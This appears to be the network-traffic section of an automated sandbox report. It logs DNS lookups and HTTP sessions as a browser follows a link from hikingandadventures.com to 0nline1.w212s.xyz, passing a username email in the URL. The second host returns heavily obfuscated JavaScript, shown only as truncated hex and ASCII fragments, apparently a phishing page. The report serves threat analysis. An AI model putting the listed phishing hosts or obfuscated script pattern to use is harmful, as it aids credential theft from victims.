Jan 9, 2025 11:27:05.248106003 CET	53	61531	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:05.251040936 CET	53	59061	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:06.605493069 CET	52380	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:06.605679035 CET	57108	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:06.612205029 CET	53	52380	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:06.612592936 CET	53	57108	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:07.570844889 CET	53	59527	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:07.586702108 CET	50625	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:07.587069988 CET	51143	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:07.593625069 CET	53	50625	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:07.593936920 CET	53	51143	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:09.097255945 CET	53	65089	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:09.107789040 CET	57037	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:09.107913017 CET	57918	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:09.114520073 CET	53	57037	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:09.115174055 CET	53	57918	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:09.213471889 CET	53	64014	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:10.185668945 CET	53	49651	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:14.617377996 CET	53	50163	162.159.36.2	192.168.2.5
Jan 9, 2025 11:27:15.071121931 CET	50862	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:15.078320026 CET	53	50862	1.1.1.1	192.168.2.5
Jan 9, 2025 11:27:48.816363096 CET	60451	53	192.168.2.5	1.1.1.1
Jan 9, 2025 11:27:48.823065042 CET	53	60451	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 9, 2025 11:26:50.349169016 CET	192.168.2.5	1.1.1.1	c23e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 11:26:48.752772093 CET	192.168.2.5	1.1.1.1	0x983c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:26:48.752772093 CET	192.168.2.5	1.1.1.1	0x5509	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 9, 2025 11:26:50.309995890 CET	192.168.2.5	1.1.1.1	0xf1cd	Standard query (0)	hikingandadventures.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:26:50.310317993 CET	192.168.2.5	1.1.1.1	0x995a	Standard query (0)	hikingandadventures.com	65	IN (0x0001)	false
Jan 9, 2025 11:27:05.234642982 CET	192.168.2.5	1.1.1.1	0x885b	Standard query (0)	0nline1.w212s.xyz	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:27:05.234808922 CET	192.168.2.5	1.1.1.1	0xbbaa	Standard query (0)	0nline1.w212s.xyz	65	IN (0x0001)	false
Jan 9, 2025 11:27:06.605493069 CET	192.168.2.5	1.1.1.1	0x56d5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:27:06.605679035 CET	192.168.2.5	1.1.1.1	0xd113	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 9, 2025 11:27:07.586702108 CET	192.168.2.5	1.1.1.1	0x91e7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:27:07.587069988 CET	192.168.2.5	1.1.1.1	0x5345	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 9, 2025 11:27:09.107789040 CET	192.168.2.5	1.1.1.1	0xb2cb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:27:09.107913017 CET	192.168.2.5	1.1.1.1	0x70e0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 9, 2025 11:27:15.071121931 CET	192.168.2.5	1.1.1.1	0xc6ab	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 9, 2025 11:27:48.816363096 CET	192.168.2.5	1.1.1.1	0x3e8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 11:26:48.759592056 CET	1.1.1.1	192.168.2.5	0x5509	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 9, 2025 11:26:48.759779930 CET	1.1.1.1	192.168.2.5	0x983c	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:26:50.332417965 CET	1.1.1.1	192.168.2.5	0xf1cd	No error (0)	hikingandadventures.com		68.65.120.220	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:27:05.248106003 CET	1.1.1.1	192.168.2.5	0x885b	No error (0)	0nline1.w212s.xyz		165.227.159.34	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:27:06.612205029 CET	1.1.1.1	192.168.2.5	0x56d5	No error (0)	www.google.com		216.58.212.164	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:27:06.612592936 CET	1.1.1.1	192.168.2.5	0xd113	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 9, 2025 11:27:07.593625069 CET	1.1.1.1	192.168.2.5	0x91e7	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:27:07.593936920 CET	1.1.1.1	192.168.2.5	0x5345	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 9, 2025 11:27:09.114520073 CET	1.1.1.1	192.168.2.5	0xb2cb	No error (0)	www.google.com		216.58.212.164	A (IP address)	IN (0x0001)	false
Jan 9, 2025 11:27:09.115174055 CET	1.1.1.1	192.168.2.5	0x70e0	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 9, 2025 11:27:15.078320026 CET	1.1.1.1	192.168.2.5	0xc6ab	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 9, 2025 11:27:48.823065042 CET	1.1.1.1	192.168.2.5	0x3e8	No error (0)	www.google.com		216.58.212.164	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

hikingandadventures.com

0nline1.w212s.xyz

https:

www.google.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49714	68.65.120.220	80	5504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 11:26:50.346024990 CET	442	OUT	GET /inv/ HTTP/1.1 Host: hikingandadventures.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 9, 2025 11:26:50.948657990 CET	1236	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 x-powered-by: PHP/7.4.33 content-type: text/html; charset=UTF-8 transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Thu, 09 Jan 2025 10:26:50 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed Data Raw: 31 30 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 74 ba 47 0f f6 bc 92 25 b6 1f 60 fe c3 eb eb 85 c7 ad 7b ad fc 48 ba d3 3d 80 72 ce 59 3b e5 9c b3 fc e7 8d af 67 ec b1 1b 30 b9 20 eb 54 91 55 24 17 24 0e eb 5f ff 17 ce 64 bd d8 e2 ff 34 c7 38 fc b7 ff fc 9f fe f5 af f6 cf 90 4e f5 bf fd ad 9c fe f6 ef 48 99 16 ff ed 3f ff a7 3f 7f fe fc f9 d7 b1 3c d2 3f 79 93 6e 7b 79 fc db df 7c 4f f8 07 f9 97 cd ff d4 4d e9 58 fe db df ae b6 bc 97 79 3b fe f6 27 9f a7 a3 9c 8e 7f fb db dd 16 47 f3 6f 45 79 b5 79 f9 8f 7f 17 fe fe a7 9d da a3 4d 87 7f ec 79 3a 94 ff 06 ff 1f d0 ff 33 d7 d1 1e 43 f9 df fe e5 5f fe e5 5f fe f1 8f 7f fc cb bf fc cb bf 82 ff 1d f9 1f ae f6 e3 1d ca ff e1 f7 2f df d9 5c bc 7f fe cf ff ae fc 4b fe ab 54 f3 74 fc a3 4a c7 76 78 ff f9 e7 6f 6e 59 cf e5 1f 5f fe db df ff 67 ff 4f 58 66 7f fe 4b 58 ee c7 1f fe dc e6 a5 4c a7 ff fd 6f 7f ff f3 8f 74 59 86 f2 1f fb bb 1f e5 f8 f7 3f cc d0 4e bd 9e e6 ee bf cb c2 3c 1d 7f ff e3 cc d9 7c cc 7f ff f3 37 a9 1c ae f2 68 f3 f4 8f 51 9e e5 df fe [TRUNCATED] Data Ascii: 10000tG%`{H=rY;g0 TU$$_d48NH??<?yn{y\|OMXy;'GoEyyMy:3C__/\KTtJvxonY_gOXfKXLotY?N<\|7hQgO{y_o9an^2?TC]wG[?y9G9?M?0]Vi]+#25K!UgiiicYEP,:_%0RP8x-IVFXatWOwWYf5mCEnVZxaB\|&Y@w!`"9@][@}:ArG@/~8@ThUCC26H]nnW\=Q/tO{@W-/dD(`P(nHyR3\K~vsr1uP&7RG9T-%-m"\|:avJ8K$^#`vY#qyY3Qo~dl'n\|d{(_vkU
Jan 9, 2025 11:26:50.948668957 CET	224	IN	Data Raw: 5e 4e d7 8f aa 18 f2 03 dd f1 a6 29 95 8e 91 29 c7 48 f8 d3 11 92 ba 3a a9 3a ef 54 02 49 33 8b c1 0a 05 51 73 9b 49 24 7d a8 a3 e8 7e d6 43 75 92 f5 49 22 85 1a 9f b7 50 93 73 ed b7 97 11 67 68 71 c7 80 82 c6 bd f8 7a 78 7d 05 a3 1c 94 84 ea 2e Data Ascii: ^N))H::TI3QsI$}~CuI"Psghqzx}.LQnAasvrf5:I+bhE59n$ w4LEX5<Zp:fAaRkk)M KN/nv3Lv1FxOz,XB j`i
Jan 9, 2025 11:26:50.948698997 CET	1236	IN	Data Raw: 44 4a c6 c7 a6 38 d2 49 9e 85 11 50 48 53 09 71 35 03 8d 81 98 66 57 51 76 67 20 f4 93 e3 ab e9 9c 20 6e de 6e 66 7e 8b f3 22 a8 55 6b a8 89 20 1e f6 38 df bd b6 3d 4f a6 c5 2a b4 1b 55 19 2e 34 8f 62 ab e9 b2 90 96 f7 48 cc 1f 68 43 b3 33 9a a1 Data Ascii: DJ8IPHSq5fWQvg nnf~"Uk 8=O*U.4bHhC3\2^o>(7IHhWyiE+U'_{8<} T&Mq,H>\y`6V4:=sKt#hu#<gX\MDL75MvVE`-:FS
Jan 9, 2025 11:26:50.948717117 CET	1236	IN	Data Raw: a5 b4 f7 6b 63 f1 73 24 3d 2c 32 91 e6 60 a8 13 14 ff 74 5f 38 59 5d 03 44 ea e2 b3 3e 39 0a 00 d3 23 75 6f 3c 8d 23 f6 ad a9 1a 59 64 95 a8 ab 20 2c 6d e9 b5 9a 9e 95 73 1b 69 32 0f b0 4b a8 ad 80 6a fd 22 c4 eb e9 c1 21 bb 9c 04 ab 12 19 d6 65 Data Ascii: kcs$=,2`t_8Y]D>9#uo<#Yd ,msi2Kj"!e#I&} r&y&v:SLnBpa,9(gJpb4!X"VIh,q~h]V`&!,Ejl[Fr&+%$02(ioy&_o?
Jan 9, 2025 11:26:50.948728085 CET	1236	IN	Data Raw: f1 91 f9 d2 73 69 9e 28 01 f5 3e 16 52 89 79 26 e6 f3 f4 98 73 99 cf b9 b2 51 c9 4a f8 16 cc 92 a1 e2 3e 1f 87 4c 41 13 50 be 9b 1a 74 43 bb 1a de ca 0e b8 21 e2 ab 99 bb 75 bb 30 b3 0d 26 5c 11 32 7b db f7 6f b7 11 f8 0d c1 04 96 ce 1c 40 86 df Data Ascii: si(>Ry&sQJ>LAPtC!u0&\2{o@7&f>7@y$<4Ig'i}L],]X2wF 0Cf Bmh-OB* CO/,;U,nq^.
Jan 9, 2025 11:26:50.948848009 CET	1236	IN	Data Raw: e7 77 29 83 f6 29 cb e7 8e 53 f2 f7 1d e3 be bb af 93 ac 84 3b 25 5f d5 10 29 74 ca bc db a4 8a 8e 29 a6 c1 d9 f6 9d 0d 5a 00 52 20 bc c2 6c f3 81 91 27 88 fc d7 6a e9 21 15 e3 62 e4 c3 8a 0b 3f 05 61 e6 8b a6 73 7b 00 60 4d db e9 54 31 6c 98 8c Data Ascii: w))S;%_)t)ZR l'j!b?as{`MT1ls\t.lIe%Od_`>?Zn]E{o`2]I5!-N$D%dt,'YF.fs<SN6>#EdZ$i47=+T%Cmg>,5m7"E
Jan 9, 2025 11:26:50.948859930 CET	1236	IN	Data Raw: c2 2f ce 87 e9 e7 5e ee 5b b8 7b 11 4b 25 73 b6 26 f7 55 4f f1 49 66 ac ae 5c c2 08 0a b5 93 59 94 f4 87 26 b1 b4 d0 69 ca a1 fa a1 52 78 c6 22 02 19 4c 20 97 4b d4 38 85 a2 68 29 58 1d ec bf cc c9 b1 06 08 6c 47 b3 3f bf 44 6e ec 89 d4 e6 b1 c4 Data Ascii: /^[{K%s&UOIf\Y&iRx"L K8h)XlG?Dn@TcD;jkjgg~'T{;2u2!K0q+U#i_g6#oNLA.1t~oA]4SlPm#Iwwi/0(Ps#5z
Jan 9, 2025 11:26:50.948868990 CET	552	IN	Data Raw: d1 26 d7 ba e0 e4 3d 73 aa ea 41 0e c6 b9 2e e3 d7 66 54 94 3e 5f 70 11 2a 51 68 83 cb 8f 11 7f 6a f2 14 a9 be 3e ba aa 79 29 26 48 49 5a ec b2 2c ac 8c db fa 90 7d 80 2a 1b 9a ba 94 04 ca 3e 30 ae 47 7c 8c 6a d8 85 66 b9 42 f2 ae 28 d9 3b 8d 34 Data Ascii: &=sA.fT>_pQhj>y)&HIZ,}>0G\|jfB(;4xPMs/J1rM<C%Xr`Q>*k8cJsO@+pme<j&`[VXqs6Vb8%uU5vOdxiA>9l)t$T(K^kWC:sQ]X
Jan 9, 2025 11:26:50.948878050 CET	1236	IN	Data Raw: ec 81 5a 6f 13 09 dd 8d 71 07 b3 d1 59 61 29 93 fd e7 34 26 9e 9f 61 00 bb fb 09 c7 39 ff 48 fb 7b cd a9 6a aa a0 a5 39 97 c7 cd 5e 62 2f d6 b0 34 7e 9d 0b 26 2f 90 a0 8c ff 9a e8 9d 6d 44 64 30 e8 97 02 af f3 3c 71 6d c0 d4 4c 1a a3 5a c9 70 b4 Data Ascii: ZoqYa)4&a9H{j9^b/4~&/mDd0<qmLZpK_H{:LCe,VL2IDUbaY&$sPS5vVx3~Q.sBa6x_?!)gjJ6?&%"!VWAb6h+7rMzW<_g"
Jan 9, 2025 11:26:50.948889017 CET	224	IN	Data Raw: 45 9f 53 68 52 5b 12 af fc 1b ad 9f a4 8f 18 f1 8b 23 ef 87 9f e1 63 70 3e e2 7e bf d4 55 e3 8e f1 15 34 73 a4 1c ea bf 43 e4 c7 3e 60 f8 f1 d9 2b 6f f0 4c 3f 61 ad 9f 51 69 2f 04 43 8d cf ee fd 02 a7 7a 71 c7 88 31 b0 49 e1 af 2f 04 72 54 f3 bb Data Ascii: EShR[#cp>~U4sC>`+oL?aQi/Czq1I/rTPcdq050w6K@Mrz\+80L pYOVM4(ylV8`9vc{X9_DYbY%/L><_3AOR
Jan 9, 2025 11:26:50.953496933 CET	1236	IN	Data Raw: 10 63 01 3e 39 58 a9 ef f2 f2 39 f8 89 e9 69 86 b3 c8 0c d6 97 7c 7b ff 87 7c 78 bf b9 8d cd f5 08 4d b1 03 bf be 73 44 0c ef ef 62 c3 ed 76 b5 d8 0e 4c 75 2b 4a 1a 6a a1 42 03 7e d0 82 15 6b d1 4a a9 b7 3b 49 21 3f 88 dd 7f 1b 92 e8 f3 5b 65 c1 Data Ascii: c>9X9i\|{\|xMsDbvLu+JjB~kJ;I!?[eYM^a=M"L`(\Elcw}0@2AU(cK]h 7&R3n''2]HREdDgV3UU:]7yQxf
Jan 9, 2025 11:26:51.372281075 CET	394	OUT	GET /favicon.ico HTTP/1.1 Host: hikingandadventures.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://hikingandadventures.com/inv/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 9, 2025 11:26:51.539726019 CET	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 10:26:51 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	68.65.120.220	80	5504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 11:27:05.832180023 CET	233	IN	HTTP/1.1 408 Request Time-out Content-length: 110 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>
Jan 9, 2025 11:27:50.845539093 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	61238	165.227.159.34	443	5504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 10:27:05 UTC	732	OUT	GET /?username=q5we7a@yyp.com HTTP/1.1 Host: 0nline1.w212s.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://hikingandadventures.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 10:27:06 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 09 Jan 2025 10:27:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2025-01-09 10:27:06 UTC	16203	IN	Data Raw: 37 37 66 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 45 2c 74 29 7b 76 61 72 20 4e 54 3d 61 30 45 35 2c 4b 3d 45 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 4e 3d 70 61 72 73 65 49 6e 74 28 4e 54 28 30 78 31 35 63 29 29 2f 30 78 31 2b 70 61 72 73 65 49 6e 74 28 4e 54 28 30 78 32 35 62 29 29 2f 30 78 32 2b 70 61 72 73 65 49 6e 74 28 4e 54 28 30 78 31 32 35 29 29 2f 30 78 33 2b 70 61 72 73 65 49 6e 74 28 4e 54 28 30 78 32 61 35 29 29 2f 30 78 34 2b 70 61 72 73 65 49 6e 74 28 4e 54 28 30 78 33 66 30 29 29 2f Data Ascii: 77f5<!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> (function(E,t){var NT=a0E5,K=E();while(!![]){try{var N=parseInt(NT(0x15c))/0x1+parseInt(NT(0x25b))/0x2+parseInt(NT(0x125))/0x3+parseInt(NT(0x2a5))/0x4+parseInt(NT(0x3f0))/
2025-01-09 10:27:06 UTC	14514	IN	Data Raw: 4d 28 30 78 34 30 31 29 3a 4b 68 5b 27 44 65 6e 6f 27 5d 26 26 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 44 65 6e 6f 5b 64 4d 28 30 78 31 65 36 29 5d 3f 27 44 45 4e 4f 27 3a 64 4d 28 30 78 33 31 65 29 3d 3d 3d 4b 78 28 4b 68 5b 64 4d 28 30 78 33 31 65 29 5d 29 3f 27 4e 4f 44 45 27 3a 4b 68 5b 64 4d 28 30 78 33 65 66 29 5d 26 26 4b 68 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 3f 27 42 52 4f 57 53 45 52 27 3a 64 4d 28 30 78 34 62 39 29 3b 7d 65 6c 73 65 7b 69 66 28 21 45 64 28 45 67 29 29 74 68 72 6f 77 20 6e 65 77 20 45 75 28 45 4e 28 45 73 29 2b 64 4d 28 30 78 34 61 36 29 29 3b 69 66 28 45 46 28 45 78 2c 45 70 29 29 72 65 74 75 72 6e 20 45 6d 5b 45 76 5d 3b 7d 7d 2c 30 78 32 31 61 34 3a 66 75 6e 63 74 69 6f 6e 28 4b 79 2c 4b 67 2c 4b 75 29 7b 76 61 72 Data Ascii: M(0x401):Kh['Deno']&&'object'==typeof Deno[dM(0x1e6)]?'DENO':dM(0x31e)===Kx(Kh[dM(0x31e)])?'NODE':Kh[dM(0x3ef)]&&Kh['document']?'BROWSER':dM(0x4b9);}else{if(!Ed(Eg))throw new Eu(EN(Es)+dM(0x4a6));if(EF(Ex,Ep))return Em[Ev];}},0x21a4:function(Ky,Kg,Ku){var
2025-01-09 10:27:06 UTC	16384	IN	Data Raw: 31 30 30 30 30 0d 0a 4b 66 2c 4b 54 29 3b 7d 7d 66 6f 72 28 4b 48 3d 4b 4f 3f 4b 66 5b 71 34 28 30 78 33 32 61 29 5d 3a 4b 42 5b 71 34 28 30 78 33 32 61 29 5d 3b 21 28 4b 43 3d 4b 6a 28 4b 48 2c 4b 42 29 29 5b 27 64 6f 6e 65 27 5d 3b 29 7b 69 66 28 27 47 44 55 51 62 27 3d 3d 3d 71 34 28 30 78 31 36 62 29 29 72 65 74 75 72 6e 20 45 50 5b 71 34 28 30 78 31 33 65 29 5d 28 45 62 29 2d 30 78 31 3b 65 6c 73 65 7b 74 72 79 7b 4b 55 3d 4b 5a 28 4b 43 5b 71 34 28 30 78 64 62 29 5d 29 3b 7d 63 61 74 63 68 28 4b 50 29 7b 4b 46 28 4b 42 2c 71 34 28 30 78 32 32 39 29 2c 4b 50 29 3b 7d 69 66 28 71 34 28 30 78 34 31 64 29 3d 3d 74 79 70 65 6f 66 20 4b 55 26 26 4b 55 26 26 4b 6c 28 4b 7a 2c 4b 55 29 29 72 65 74 75 72 6e 20 4b 55 3b 7d 7d 72 65 74 75 72 6e 20 6e 65 77 20 Data Ascii: 10000Kf,KT);}}for(KH=KO?Kf[q4(0x32a)]:KB[q4(0x32a)];!(KC=Kj(KH,KB))['done'];){if('GDUQb'===q4(0x16b))return EP[q4(0x13e)](Eb)-0x1;else{try{KU=KZ(KC[q4(0xdb)]);}catch(KP){KF(KB,q4(0x229),KP);}if(q4(0x41d)==typeof KU&&KU&&Kl(Kz,KU))return KU;}}return new
2025-01-09 10:27:06 UTC	16384	IN	Data Raw: 28 5b 5d 5b 6b 4e 28 30 78 65 63 29 5d 29 3b 45 67 5b 6b 4e 28 30 78 31 62 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 4b 46 2c 4b 52 29 7b 76 61 72 20 6b 64 3d 6b 4e 2c 4b 65 2c 4b 7a 3d 4b 59 28 4b 46 29 2c 4b 66 3d 30 78 30 2c 4b 4a 3d 5b 5d 3b 66 6f 72 28 4b 65 20 69 6e 20 4b 7a 29 21 4b 70 28 4b 51 2c 4b 65 29 26 26 4b 70 28 4b 7a 2c 4b 65 29 26 26 4b 57 28 4b 4a 2c 4b 65 29 3b 66 6f 72 28 3b 4b 52 5b 6b 64 28 30 78 32 39 61 29 5d 3e 4b 66 3b 29 4b 70 28 4b 7a 2c 4b 65 3d 4b 52 5b 4b 66 2b 2b 5d 29 26 26 28 7e 4b 6c 28 4b 4a 2c 4b 65 29 7c 7c 4b 57 28 4b 4a 2c 4b 65 29 29 3b 72 65 74 75 72 6e 20 4b 4a 3b 7d 3b 7d 65 6c 73 65 7b 76 61 72 20 4b 68 3d 7b 27 69 74 65 6d 27 3a 4b 75 2c 27 6e 65 78 74 27 3a 6e 75 6c 6c 7d 2c 4b 6a 3d 74 68 69 73 5b 27 74 61 69 Data Ascii: ([][kN(0xec)]);Eg[kN(0x1b7)]=function(KF,KR){var kd=kN,Ke,Kz=KY(KF),Kf=0x0,KJ=[];for(Ke in Kz)!Kp(KQ,Ke)&&Kp(Kz,Ke)&&KW(KJ,Ke);for(;KR[kd(0x29a)]>Kf;)Kp(Kz,Ke=KR[Kf++])&&(~Kl(KJ,Ke)\|\|KW(KJ,Ke));return KJ;};}else{var Kh={'item':Ku,'next':null},Kj=this['tai
2025-01-09 10:27:06 UTC	16384	IN	Data Raw: 3d 41 52 28 30 78 33 35 63 29 2c 4b 52 3d 4b 4c 5b 41 52 28 30 78 31 62 62 29 5d 2c 4b 65 3d 4b 4c 5b 41 52 28 30 78 33 31 38 29 5d 28 4b 46 29 3b 4b 79 5b 27 65 78 70 6f 72 74 73 27 5d 3d 4b 59 28 41 72 72 61 79 2c 41 52 28 30 78 33 62 30 29 2c 66 75 6e 63 74 69 6f 6e 28 4b 66 2c 4b 4a 29 7b 4b 52 28 74 68 69 73 2c 7b 27 74 79 70 65 27 3a 4b 46 2c 27 74 61 72 67 65 74 27 3a 4b 68 28 4b 66 29 2c 27 69 6e 64 65 78 27 3a 30 78 30 2c 27 6b 69 6e 64 27 3a 4b 4a 7d 29 3b 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 41 65 3d 41 52 3b 69 66 28 41 65 28 30 78 64 36 29 21 3d 3d 27 51 51 65 4c 4c 27 29 72 65 74 75 72 6e 20 45 50 28 45 62 2c 74 68 69 73 29 3b 65 6c 73 65 7b 76 61 72 